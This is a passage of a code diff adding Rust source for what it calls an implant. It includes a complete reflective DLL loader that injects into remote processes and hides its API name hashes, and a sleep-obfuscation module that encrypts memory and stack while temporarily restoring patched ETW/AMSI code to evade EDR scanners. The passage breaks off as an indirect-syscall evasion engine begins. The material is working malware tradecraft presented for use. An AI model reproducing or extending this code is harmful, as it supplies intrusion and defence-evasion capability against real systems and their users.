let env_name = env_pipe_name();
|
||||
let env_name_str: String = String::from_utf8_lossy(&env_name).into_owned();
|
||||
let pipe = read_wide_from_ptr(lp_param)
|
||||
.or_else(|| read_env_wide(&env_name_str));
|
||||
if let Some(pipe) = pipe {
|
||||
let mut p = pipe;
|
||||
p.push(0);
|
||||
let _ = std::thread::Builder::new()
|
||||
.spawn(move || unsafe {
|
||||
worker(&p);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,478 @@
|
||||
//! Position-independent reflective loader, pure Rust (no C).
|
||||
//!
|
||||
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
|
||||
//! The injection stubs copy this DLL's raw bytes into a remote process and
|
||||
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
|
||||
//! begins, the copied image is *not* relocated and its imports are *not*
|
||||
//! resolved, so this function must be position independent end to end:
|
||||
//!
|
||||
//! - It never reads relocatable data. All image structures are reached by
|
||||
//! computing addresses at runtime and reading with volatile scalar loads.
|
||||
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
|
||||
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
|
||||
//! module list and export tables by hand. Module names are matched by a
|
||||
//! rotate hash of *immediate* constants — never through `.rodata` string
|
||||
//! literals, because a RIP-relative load into the file-offset-mapped raw
|
||||
//! copy would read the wrong bytes until the image has been relocated.
|
||||
//! - It copies the image into a fresh RWX allocation, fixes up imports,
|
||||
//! applies relocations, registers `.pdata` for exception unwinding and
|
||||
//! finally invokes the DLL's entry point.
|
||||
//!
|
||||
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
|
||||
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
|
||||
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
|
||||
//! unwinder).
|
||||
|
||||
use core::arch::asm;
|
||||
|
||||
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
// rotate-right-by-1 hashes of the names the loader resolves.
|
||||
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
|
||||
// constant-folding) so the raw loader hashes never appear in the binary.
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const KERNEL32_HASH: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
const NTDLL_HASH: u32 = 0xE600_0091 ^ HASH_KEY;
|
||||
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093 ^ HASH_KEY;
|
||||
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0 ^ HASH_KEY;
|
||||
const VIRTUALALLOC_HASH: u32 = 0xB800_008F ^ HASH_KEY;
|
||||
const NTFLUSH_HASH: u32 = 0xED3A_788A ^ HASH_KEY;
|
||||
|
||||
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
|
||||
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
|
||||
type VirtualAllocFn = unsafe extern "system" fn(
|
||||
addr: usize,
|
||||
size: usize,
|
||||
allocation_type: u32,
|
||||
protect: u32,
|
||||
) -> usize;
|
||||
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
|
||||
type RtlAddFunctionTableFn = unsafe extern "system" fn(
|
||||
function_table: usize,
|
||||
entry_count: u32,
|
||||
base_address: u64,
|
||||
) -> i32;
|
||||
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
|
||||
|
||||
// ---- Volatile scalar memory access (never lowered to libcalls) ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
|
||||
core::ptr::read_volatile((p + off) as *const u8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
|
||||
core::ptr::read_volatile((p + off) as *const u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
|
||||
core::ptr::read_volatile((p + off) as *const u32)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
|
||||
core::ptr::read_volatile((p + off) as *const u64)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
|
||||
core::ptr::write_volatile((p + off) as *mut u8, v);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
|
||||
core::ptr::write_volatile((p + off) as *mut u64, v);
|
||||
}
|
||||
|
||||
// Unaligned-safe read so the base scan can step byte-by-byte.
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16_bytes(p: usize) -> u16 {
|
||||
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
|
||||
for i in 0..len {
|
||||
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Immediate materializers: build byte strings without .rodata ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u64(dst: usize, lit: u64) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
|
||||
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
|
||||
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
|
||||
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u32(dst: usize, lit: u32) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
// ---- Position-independent runtime resolution ----
|
||||
|
||||
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
|
||||
/// valid before the image is relocated.
|
||||
#[inline(never)]
|
||||
fn rip_here() -> usize {
|
||||
let ip: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"lea {}, [rip]",
|
||||
out(reg) ip,
|
||||
options(nomem, nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// x64 Process Environment Block via `gs:[0x60]`.
|
||||
#[inline(never)]
|
||||
unsafe fn peb_pointer() -> usize {
|
||||
let peb: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"mov {}, qword ptr gs:[0x60]",
|
||||
out(reg) peb,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
peb
|
||||
}
|
||||
|
||||
/// Scan backwards from `start` for the MZ/PE header of the running image.
|
||||
unsafe fn find_image_base(start: usize) -> usize {
|
||||
let mut p = start;
|
||||
loop {
|
||||
if p == 0 {
|
||||
return 0;
|
||||
}
|
||||
if rd_u16_bytes(p) == 0x5A4D {
|
||||
let lfanew = rd_u32(p, 0x3C) as usize;
|
||||
if (0x40..1024).contains(&lfanew) {
|
||||
let nt = p + lfanew;
|
||||
if rd_u32(nt, 0) == 0x0000_4550 {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
}
|
||||
p = p.wrapping_sub(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// Rotate `v` right by one bit.
|
||||
#[inline(always)]
|
||||
fn ror1(v: u32) -> u32 {
|
||||
v.wrapping_shr(1) | v.wrapping_shl(31)
|
||||
}
|
||||
|
||||
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
|
||||
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
while i < nchars {
|
||||
let c = rd_u16(ptr, i * 2);
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add((c - 0x20) as u32);
|
||||
} else {
|
||||
h = h.wrapping_add(c as u32);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
h
|
||||
}
|
||||
|
||||
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
|
||||
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = rd_u8(ptr, i) as u32;
|
||||
if c == 0 {
|
||||
return h;
|
||||
}
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add(c - 0x20);
|
||||
} else {
|
||||
h = h.wrapping_add(c);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Walk the loaded-module list for the module whose base-name rotates to
|
||||
/// `want`; returns its base address or 0.
|
||||
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
||||
let ldr = rd_u64(peb, 0x18) as usize;
|
||||
if ldr == 0 {
|
||||
return 0;
|
||||
}
|
||||
let head = rd_u64(ldr, 0x20) as usize;
|
||||
if head == 0 {
|
||||
return 0;
|
||||
}
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 {
|
||||
return 0;
|
||||
}
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let name_len = rd_u16(entry, 0x58) as usize;
|
||||
if name_len > 0 {
|
||||
let name_ptr = rd_u64(entry, 0x60) as usize;
|
||||
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
||||
return rd_u64(entry, 0x30) as usize;
|
||||
}
|
||||
}
|
||||
let next = rd_u64(entry, 0x10) as usize;
|
||||
if next == head || next == cur {
|
||||
break;
|
||||
}
|
||||
cur = next;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
|
||||
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let num_names = rd_u32(ed, 24) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
let addr_of_names = rd_u32(ed, 32) as usize;
|
||||
let addr_of_ord = rd_u32(ed, 36) as usize;
|
||||
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
||||
return 0;
|
||||
}
|
||||
for i in 0..num_names {
|
||||
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
|
||||
if hash_ascii(base + name_rva) == want {
|
||||
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
return base + fn_rva;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export by ordinal; returns its VA or 0.
|
||||
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let export_base = rd_u32(ed, 16) as usize;
|
||||
let num_funcs = rd_u32(ed, 20) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
if ordinal < export_base as u16 || addr_of_funcs == 0 {
|
||||
return 0;
|
||||
}
|
||||
let idx = ordinal as usize - export_base;
|
||||
if idx >= num_funcs {
|
||||
return 0;
|
||||
}
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
base + fn_rva
|
||||
}
|
||||
|
||||
// ---- The loader ----
|
||||
|
||||
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
|
||||
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
|
||||
/// entry point, or 0 on failure.
|
||||
#[inline(never)]
|
||||
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
|
||||
unsafe {
|
||||
// STEP 0: locate our own (un-relocated) image base.
|
||||
let ui_lib = find_image_base(rip_here());
|
||||
if ui_lib == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// STEP 1: resolve the APIs we need by name hash.
|
||||
let peb = peb_pointer();
|
||||
let k32 = module_base_by_hash(peb, r(KERNEL32_HASH));
|
||||
let ntdll = module_base_by_hash(peb, r(NTDLL_HASH));
|
||||
if k32 == 0 || ntdll == 0 {
|
||||
return 0;
|
||||
}
|
||||
let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH));
|
||||
let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH));
|
||||
let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH));
|
||||
let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH));
|
||||
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
|
||||
return 0;
|
||||
}
|
||||
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
|
||||
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
|
||||
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
|
||||
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
|
||||
|
||||
// Register .pdata so unwinding through our code does not crash. The
|
||||
// proc-name string is materialized from immediates (no .rodata).
|
||||
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
|
||||
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
|
||||
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
|
||||
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
|
||||
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
|
||||
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
|
||||
|
||||
// STEP 2: load the image into a fresh permanent location.
|
||||
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
|
||||
if lfanew == 0 {
|
||||
return 0;
|
||||
}
|
||||
let opt = ui_lib + lfanew + 4 + 20;
|
||||
let image_base = rd_u64(opt, 24) as usize;
|
||||
let size_of_image = rd_u32(opt, 56) as usize;
|
||||
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if ui_base == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy the headers.
|
||||
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
|
||||
|
||||
// STEP 3: copy all sections.
|
||||
let coff = ui_lib + lfanew + 4;
|
||||
let num_sections = rd_u16(coff, 2) as usize;
|
||||
let opt_size = rd_u16(coff, 16) as usize;
|
||||
let sec = coff + 20 + opt_size;
|
||||
let mut si = 0;
|
||||
while si < num_sections {
|
||||
let s = sec + si * 40;
|
||||
let vaddr = rd_u32(s, 12) as usize;
|
||||
let raw_size = rd_u32(s, 16) as usize;
|
||||
let raw_ptr = rd_u32(s, 20) as usize;
|
||||
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
|
||||
si += 1;
|
||||
}
|
||||
|
||||
// STEP 4: fix up imports.
|
||||
let dd = opt + 112;
|
||||
let imp_rva = rd_u32(dd, 8) as usize;
|
||||
if imp_rva != 0 {
|
||||
let imp = ui_base + imp_rva;
|
||||
let mut di = 0;
|
||||
loop {
|
||||
let desc = imp + di * 20;
|
||||
let name_rva = rd_u32(desc, 12);
|
||||
if name_rva == 0 {
|
||||
break;
|
||||
}
|
||||
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
|
||||
let oft_rva = rd_u32(desc, 0) as usize;
|
||||
let ft_rva = rd_u32(desc, 16) as usize;
|
||||
let mut iat = ui_base + ft_rva;
|
||||
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
|
||||
loop {
|
||||
let thunk = rd_u64(iat, 0);
|
||||
if thunk == 0 {
|
||||
break;
|
||||
}
|
||||
if oft != 0 && (thunk >> 63) == 1 {
|
||||
let ordinal = (thunk & 0xFFFF) as u16;
|
||||
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
|
||||
} else {
|
||||
let name_rva2 = (thunk as u32) as usize;
|
||||
let by_name = ui_base + name_rva2;
|
||||
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
|
||||
}
|
||||
iat += 8;
|
||||
if oft != 0 {
|
||||
oft += 8;
|
||||
}
|
||||
}
|
||||
di += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5: apply relocations.
|
||||
let reloc_dd = dd + 0x28;
|
||||
let reloc_size = rd_u32(reloc_dd, 4);
|
||||
if reloc_size != 0 {
|
||||
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
|
||||
let delta = ui_base.wrapping_sub(image_base);
|
||||
let mut r = ui_base + reloc_rva;
|
||||
loop {
|
||||
let block_size = rd_u32(r, 4);
|
||||
if block_size == 0 {
|
||||
break;
|
||||
}
|
||||
let target = ui_base + rd_u32(r, 0) as usize;
|
||||
let mut count = (block_size as usize - 8) / 2;
|
||||
let mut e = r + 8;
|
||||
while count > 0 {
|
||||
let word = rd_u16(e, 0) as usize;
|
||||
let typ = (word >> 12) & 0xF;
|
||||
let off = word & 0xFFF;
|
||||
// Only DIR64 (10) needs applying; a single comparison is
|
||||
// used deliberately: a multi-case dispatch lets LLVM emit
|
||||
// a jump table in `.rodata`, whose RIP-relative address
|
||||
// would be wrong in the raw copy.
|
||||
if typ == 10 {
|
||||
let v = rd_u64(target, off).wrapping_add(delta as u64);
|
||||
wr_u64(target, off, v);
|
||||
}
|
||||
e += 2;
|
||||
count -= 1;
|
||||
}
|
||||
r = r + block_size as usize;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5b: register the exception table (.pdata) with the OS.
|
||||
let exc_dd = dd + 0x30;
|
||||
let exc_rva = rd_u32(exc_dd, 0) as usize;
|
||||
let exc_size = rd_u32(exc_dd, 4) as usize;
|
||||
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
|
||||
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
|
||||
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
|
||||
}
|
||||
|
||||
// Flush the instruction cache so relocated code is used.
|
||||
let _ = f_flush(-1, 0, 0);
|
||||
|
||||
// STEP 6: invoke the DLL entry point and return its address.
|
||||
let entry = ui_base + rd_u32(opt, 16) as usize;
|
||||
let f_entry: DllMainFn = core::mem::transmute(entry);
|
||||
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
|
||||
entry
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//! Sleep obfuscation and memory encryption for runtime evasion.
|
||||
//!
|
||||
//! When the implant is idle (sleeping), we encrypt sensitive memory regions
|
||||
//! (heap, .data) so memory scanners/dumpers can't find plaintext strings,
|
||||
//! keys, or configuration. On wake, we decrypt just-in-time.
|
||||
//!
|
||||
//! We also *un-patch* the ETW/AMSI code modifications before sleeping and
|
||||
//! re-apply them on wake: memory-scanning EDRs inspect code sections while a
|
||||
//! process idles, and a permanently-modified ntdll/amsi prologue is a
|
||||
//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that.
|
||||
//!
|
||||
//! Uses per-build constants from gen.rs plus runtime entropy for the key.
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
use core::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use crate::abi;
|
||||
use crate::gen;
|
||||
use crate::patch;
|
||||
use crate::syscall;
|
||||
|
||||
const MEM_COMMIT: u32 = 0x1000;
|
||||
const PAGE_READWRITE: u32 = 0x04;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemoryBasicInfo {
|
||||
base_address: *mut c_void,
|
||||
allocation_base: *mut c_void,
|
||||
allocation_protect: u32,
|
||||
region_size: usize,
|
||||
state: u32,
|
||||
protect: u32,
|
||||
_type: u32,
|
||||
}
|
||||
|
||||
static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false);
|
||||
static mut SLEEP_KEY: [u8; 32] = [0u8; 32];
|
||||
|
||||
/// Initialize the sleep-encryption key from per-build constants + runtime
|
||||
/// entropy (RDTSC + stack address + tick count).
|
||||
pub unsafe fn init_sleep_key() {
|
||||
let mut key = [0u8; 32];
|
||||
|
||||
// Build-time constants (unique per artifact).
|
||||
key[0] ^= gen::K_TOKEN;
|
||||
key[1] ^= gen::K_VENDOR;
|
||||
key[2] ^= gen::K_SMBIOS;
|
||||
key[3] ^= gen::K_ENV;
|
||||
key[4] ^= gen::K_DISPLAY;
|
||||
let seed_bytes = gen::GEN_SEED.to_le_bytes();
|
||||
for i in 0..4 {
|
||||
key[5 + i] ^= seed_bytes[i];
|
||||
}
|
||||
|
||||
// Runtime entropy.
|
||||
let mut tsc_lo: u32;
|
||||
let mut tsc_hi: u32;
|
||||
asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags));
|
||||
|
||||
let sp: usize;
|
||||
asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags));
|
||||
|
||||
let tick = abi::GetTickCount64();
|
||||
|
||||
let entropy: [[u8; 8]; 5] = [
|
||||
(tsc_lo as u64).to_le_bytes(),
|
||||
(tsc_hi as u64).to_le_bytes(),
|
||||
(sp as u64).to_le_bytes(),
|
||||
tick.to_le_bytes(),
|
||||
((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(),
|
||||
];
|
||||
|
||||
for (i, chunk) in entropy.iter().enumerate() {
|
||||
for (j, &b) in chunk.iter().enumerate() {
|
||||
key[(i * 6 + j) % 32] ^= b;
|
||||
}
|
||||
}
|
||||
|
||||
for i in 0..32 {
|
||||
ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/// Keystream byte derived from SLEEP_KEY + position + region base.
|
||||
#[inline(always)]
|
||||
unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 {
|
||||
let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32;
|
||||
let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32;
|
||||
let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32;
|
||||
|
||||
let mut x = k0
|
||||
.wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9))
|
||||
.wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15))
|
||||
.wrapping_add(k1)
|
||||
.wrapping_add(k2);
|
||||
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x85EBCA6B);
|
||||
x ^= x << 7;
|
||||
x = x.wrapping_mul(0x9E37_79B9);
|
||||
|
||||
(x & 0xFF) as u8
|
||||
}
|
||||
|
||||
/// XOR-encrypt a region in place (symmetric with decrypt).
|
||||
unsafe fn transform_region(base: *mut u8, size: usize) {
|
||||
if base.is_null() || size == 0 {
|
||||
return;
|
||||
}
|
||||
for i in 0..size {
|
||||
let byte = ptr::read_volatile(base.add(i));
|
||||
ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize));
|
||||
}
|
||||
}
|
||||
|
||||
/// Should this region be encrypted? Only committed RW data regions — never
|
||||
/// code (RX), guard pages, or mapped images.
|
||||
unsafe fn should_transform(info: &MemoryBasicInfo) -> bool {
|
||||
if info.state != MEM_COMMIT {
|
||||
return false;
|
||||
}
|
||||
info.protect & 0xFF == PAGE_READWRITE
|
||||
}
|
||||
|
||||
/// Change page protection via the runtime-resolved VirtualProtect.
|
||||
unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option<u32> {
|
||||
let vp = crate::apires::virtual_protect();
|
||||
if vp == 0 {
|
||||
return None;
|
||||
}
|
||||
type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32;
|
||||
let f: VpFn = core::mem::transmute(vp);
|
||||
let mut old: u32 = 0;
|
||||
if f(addr, size, prot, &mut old) != 0 {
|
||||
Some(old)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Encrypt all private RW data regions (heap, .data, .bss).
|
||||
pub unsafe fn encrypt_memory() {
|
||||
if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
|
||||
return;
|
||||
}
|
||||
init_sleep_key();
|
||||
|
||||
let mut info: MemoryBasicInfo = core::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
|
||||
while addr < usize::MAX - 0x10000 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
|
||||
transform_region(info.base_address as *mut u8, info.region_size);
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
|
||||
ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// Decrypt all previously encrypted regions (XOR is symmetric; same pass).
|
||||
pub unsafe fn decrypt_memory() {
|
||||
if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut info: MemoryBasicInfo = core::mem::zeroed();
|
||||
let mut addr: usize = 0;
|
||||
|
||||
while addr < usize::MAX - 0x10000 {
|
||||
let got = abi::VirtualQuery(
|
||||
addr as *const c_void,
|
||||
&mut info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInfo>(),
|
||||
);
|
||||
if got == 0 {
|
||||
break;
|
||||
}
|
||||
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
|
||||
transform_region(info.base_address as *mut u8, info.region_size);
|
||||
}
|
||||
let next = info.base_address as usize + info.region_size;
|
||||
if next <= addr {
|
||||
break;
|
||||
}
|
||||
addr = next;
|
||||
}
|
||||
|
||||
ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst);
|
||||
}
|
||||
|
||||
/// Sleep with memory encryption + patch-evasion:
|
||||
/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt.
|
||||
pub unsafe fn secure_sleep(milliseconds: u32) {
|
||||
encrypt_memory();
|
||||
|
||||
// Restore original code bytes so memory scanners see a pristine ntdll/amsi
|
||||
// while we idle.
|
||||
patch::suspend_all();
|
||||
|
||||
// Negative LARGE_INTEGER = relative timeout, in 100ns units.
|
||||
let interval: i64 = -((milliseconds as i64) * 10_000);
|
||||
let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64);
|
||||
|
||||
// Re-apply the defense patches.
|
||||
patch::resume_all();
|
||||
|
||||
decrypt_memory();
|
||||
}
|
||||
|
||||
/// Selective encryption for specific sensitive buffers.
|
||||
pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) {
|
||||
init_sleep_key();
|
||||
for &(base, size) in regions {
|
||||
transform_region(base, size);
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) {
|
||||
for &(base, size) in regions {
|
||||
transform_region(base, size);
|
||||
}
|
||||
}
|
||||
|
||||
/// Stack hardening during sleep: encrypt a stack window below current SP so
|
||||
/// stack scanners / return-address walkers can't resolve call chains.
|
||||
pub unsafe fn spoof_stack() {
|
||||
let sp: usize;
|
||||
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
|
||||
let offset = gen::STACK_SPOOF_OFF as usize;
|
||||
let size = 4096usize;
|
||||
if sp > offset + size {
|
||||
init_sleep_key();
|
||||
transform_region((sp - offset - size) as *mut u8, size);
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn unspoof_stack() {
|
||||
let sp: usize;
|
||||
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
|
||||
let offset = gen::STACK_SPOOF_OFF as usize;
|
||||
let size = 4096usize;
|
||||
if sp > offset + size {
|
||||
transform_region((sp - offset - size) as *mut u8, size);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
//! Indirect syscall engine (v2) — ntdll-gadget execution.
|
||||
//!
|
||||
//! Executing `syscall` inside our own code section is exactly what EDR
|
||||
//! stack-inspection looks for: a syscall whose return address points outside
|
||||
//! ntdll. This engine instead:
|
||||
//!
|
||||
